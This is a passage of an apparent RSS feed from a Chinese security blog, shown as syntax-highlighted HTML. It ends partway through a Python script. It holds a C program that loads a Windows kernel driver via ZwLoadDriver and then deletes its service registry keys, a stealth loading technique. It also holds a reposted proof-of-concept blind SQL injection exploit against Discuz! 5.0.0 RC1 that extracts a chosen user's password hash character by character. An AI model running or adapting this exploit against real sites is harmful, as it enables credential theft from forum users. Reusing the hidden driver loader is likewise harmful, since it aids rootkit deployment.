#000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)Data</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;GetFullPathName(szDrvPath</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">256</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">);&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Loading&nbsp;driver:&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;szDrvFullPath);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\??\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvFullPath);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dwOK</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">RegSetValueEx(hkResult</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ImagePath</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">const</span><span style="COLOR: #000000">&nbsp;unsigned&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">iBuffLen);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(hkResult);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;buf2</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Buffer&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(PVOID)szSubKey;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;buf2</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">Length&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;iBuffLen;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlAnsiStringToUnicodeString(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">buf1</span><span style="COLOR: #000000">,&amp;</span><span style="COLOR: #000000">buf2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">加载驱动程序</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;dwOK&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;ZwLoadDriver(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">buf1);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlFreeUnicodeString(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">buf1);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\\Enum</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">删除注册表项</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\\Security</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">System\\CurrentControlSet\\Services\\</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RegDeleteKey(HKEY_LOCAL_MACHINE</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szSubKey);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;iBuffLen</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(szSubKey</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\\\\.\\%s</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">szDrvName);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;szSubKey[iBuffLen]</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Load&nbsp;driver&nbsp;with&nbsp;ZwLoadDriver(&nbsp;)\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Date:&nbsp;8th&nbsp;May&nbsp;2007\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Modifed&nbsp;by:&nbsp;GaRY&nbsp;&lt;wofeiwo_at_gmail_dot_com&gt;\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(argc&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Usage:&nbsp;%s&nbsp;&lt;DriverFilename&gt;&nbsp;&lt;DriverPath&gt;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HMODULE&nbsp;hNtdll&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;hNtdll&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;LoadLibrary(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ntdll.dll</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">从ntdll.dll里获取函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(&nbsp;</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">hNtdll&nbsp;)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">LoadLibrary(&nbsp;NTDLL.DLL&nbsp;)&nbsp;Error:%d\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;GetLastError()&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlAnsiStringToUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLANSISTRINGTOUNICODESTRING)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(&nbsp;hNtdll</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlAnsiStringToUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;RtlFreeUnicodeString&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(RTLFREEUNICODESTRING)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(&nbsp;hNtdll</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">RtlFreeUnicodeString</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ZwLoadDriver&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ZWLOADDRIVER)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetProcAddress(&nbsp;hNtdll</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ZwLoadDriver</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册驱动程序</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(LoadDriver(argv[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">])&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">false</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1184.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-08 15:12 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/08/Load_Driver_With_ZwLoadDriver.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>暂停更新一段时间...</title><link>http://www.phpweblog.net/GaRY/archive/2006/12/09/551.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 09 Dec 2006 03:51:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/12/09/551.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/551.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/12/09/551.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/551.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/551.html</trackback:ping><description><![CDATA[准备考试咯.暂停更新一段时间.放假了就空了<img src ="http://www.phpweblog.net/GaRY/aggbug/551.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-12-09 11:51 <a href="http://www.phpweblog.net/GaRY/archive/2006/12/09/551.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Zend Core (Windows Technology Preview)</title><link>http://www.phpweblog.net/GaRY/archive/2006/11/27/523.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Mon, 27 Nov 2006 08:09:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/11/27/523.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/523.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/11/27/523.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/523.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/523.html</trackback:ping><description><![CDATA[
		<a href="http://www.zend.com/products/zend_core/windows_preview?WT.mc_id=Core_win_hp">http://www.zend.com/products/zend_core/windows_preview?WT.mc_id=Core_win_hp</a>
		<br />
		<br />找了找,现在能Optimize PHP 5.2.0的也只有这个了<img src ="http://www.phpweblog.net/GaRY/aggbug/523.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-11-27 16:09 <a href="http://www.phpweblog.net/GaRY/archive/2006/11/27/523.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>好久没更新</title><link>http://www.phpweblog.net/GaRY/archive/2006/09/30/437.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 30 Sep 2006 10:02:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/09/30/437.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/437.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/09/30/437.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/437.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/437.html</trackback:ping><description><![CDATA[忙,等等还要研究lifetype去<img src ="http://www.phpweblog.net/GaRY/aggbug/437.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-09-30 18:02 <a href="http://www.phpweblog.net/GaRY/archive/2006/09/30/437.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于Discuz! 5.0.0 RC1的PoC</title><link>http://www.phpweblog.net/GaRY/archive/2006/09/15/Dz_5RC1.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Fri, 15 Sep 2006 13:45:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/09/15/Dz_5RC1.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/419.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/09/15/Dz_5RC1.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/419.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/419.html</trackback:ping><description><![CDATA[这里把网上公布的code也贴出来:<br /><br /><div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!/usr/bin/python</span><span style="COLOR: #008000"><br />#</span><span style="COLOR: #008000"> Discuz! 5.0.0 RC1 SQL injection PoC</span><span style="COLOR: #008000"><br />#</span><span style="COLOR: #008000"> Author: wofeiwo thx superheis help</span><span style="COLOR: #008000"><br />#</span><span style="COLOR: #008000"> Date: Aug 12th 2006</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> sys <br /></span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> httplib<br /></span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000"> urlparse </span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> urlparse<br /></span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000"> time </span><span style="COLOR: #0000ff">import</span><span style="COLOR: #000000"> sleep<br /><br /><br /></span><span style="COLOR: #0000ff">def</span><span style="COLOR: #000000">  injection (lenthofpass, realurl, path):<br />    sys.stdout.write(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">[+] The uid=</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"> sys.argv[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">] </span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000"> password hash is: </span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)<br />    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> num </span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000"> range(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,lenthofpass</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">):<br />        ran </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> range(</span><span style="COLOR: #000000">97</span><span style="COLOR: #000000">, </span><span style="COLOR: #000000">123</span><span style="COLOR: #000000">)<br />        </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> a </span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000"> range(</span><span style="COLOR: #000000">48</span><span style="COLOR: #000000">, </span><span style="COLOR: #000000">58</span><span style="COLOR: #000000">): ran.append(a)<br /><br />        </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> i </span><span style="COLOR: #0000ff">in</span><span style="COLOR: #000000"> ran:<br />    <br />            query </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"> union select </span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">122</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">from</span><span style="COLOR: #000000"> cdb_members where uid</span><span style="COLOR: #000000">=</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000"> + sys.argv[2] + </span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"> AND ascii(substring(CONCAT(password),</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000"> + str(num) + </span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">))</span><span style="COLOR: #000000">=</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000"> + str(i) + </span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">/*</span><span style="COLOR: #800000">'<br /></span><span style="COLOR: #000000">            header </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> {</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Accept</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">Referer</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">http://</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"> realurl[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">] </span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"> path </span><span style="COLOR: #000000">+</span><span style="COLOR: 